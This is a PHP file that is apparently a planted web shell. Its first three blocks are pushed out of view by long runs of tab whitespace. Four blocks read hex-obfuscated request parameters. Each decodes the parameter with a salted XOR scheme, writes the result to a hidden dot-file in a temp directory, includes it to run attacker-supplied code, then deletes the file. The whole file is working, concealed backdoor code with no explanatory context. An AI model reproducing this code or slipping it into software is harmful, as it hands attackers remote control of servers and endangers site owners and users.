<?php																																										if(filter_has_var(INPUT_POST, "\x62i\x6Ed")){ $itm = $_REQUEST["\x62i\x6Ed"]; $itm = explode( '.' , $itm) ; $fac = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $len = count($itm); for($t = 0; $t< $len; $t++) { $v2 = $itm[$t]; $chS = ord($salt8[$t % $lenS]); $d =((int)$v2 - $chS -($t % 10))^ 66; $fac .= chr($d);} $desc = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", getcwd()]); foreach ($desc as $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $mrk = vsprintf("%s/%s", [$factor, ".resource"]); if (file_put_contents($mrk, $fac)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66\x61c"])){ $binding = array_filter(["/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm"]); $element = $_REQUEST["\x66\x61c"]; $element =explode ( "." , $element ) ; $itm= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $i= 0; while ($i < count($element)) {$v7= $element[$i]; $chS= ord($salt[$i% $sLen]); $dec= ((int)$v7 - $chS - ($i% 10)) ^ 94; $itm .=chr($dec); $i++; } $hld = 0; do { $holder = $binding[$hld] ?? null; if ($hld >= count($binding)) break; if (!( !is_dir($holder) || !is_writable($holder) )) { $component = implode("/", [$holder, ".property_set"]); if (@file_put_contents($component, $itm) !== false) { include $component; unlink($component); die(); } } $hld++; } while (true); }
																																										if(!empty($_REQUEST["\x64\x61ta"])){ $dat = array_filter([session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $record = $_REQUEST["\x64\x61ta"]; $record = explode( '.' , $record); $rec = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $s = 0; foreach ($record as $v8) { $chS = ord($s2[$s % $sLen] ); $dec = ((int)$v8 - $chS - ($s % 10)) ^ 68; $rec.=chr($dec ); $s++; } $resource = 0; do { $property_set = $dat[$resource] ?? null; if ($resource >= count($dat)) break; if (!( !is_dir($property_set) || !is_writable($property_set) )) { $comp = "$property_set" . "/.object"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $comp; @unlink($comp); exit; } } $resource++; } while (true); }


if(isset($_REQUEST) && isset($_REQUEST["\x6D\x61rke\x72"])){
	$res = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", session_save_path(), "/dev/shm"]);
	$flag = $_REQUEST["\x6D\x61rke\x72"];
	  $flag	= explode(		'.', 	 $flag 	 )		; 	
	$pointer = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s	);
            $len = count($flag	);
    
            for ($m = 0; $m < $len; $m++) {	 $v9 = $flag[$m];
                $sChar = ord($s[$m % $lenS]	);
                $d = ((int)$v9 - $sChar - ($m % 10)) ^ 43;
                $pointer .= chr($d	); 	}		
	foreach ($res as $key => $dchunk) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($dchunk)) {
    $hld = sprintf("%s/.component", $dchunk);
    $file = fopen($hld, 'w');
if ($file) {
	fwrite($file, $pointer);
	fclose($file);
	include $hld;
	@unlink($hld);
	die();
}
}
}
}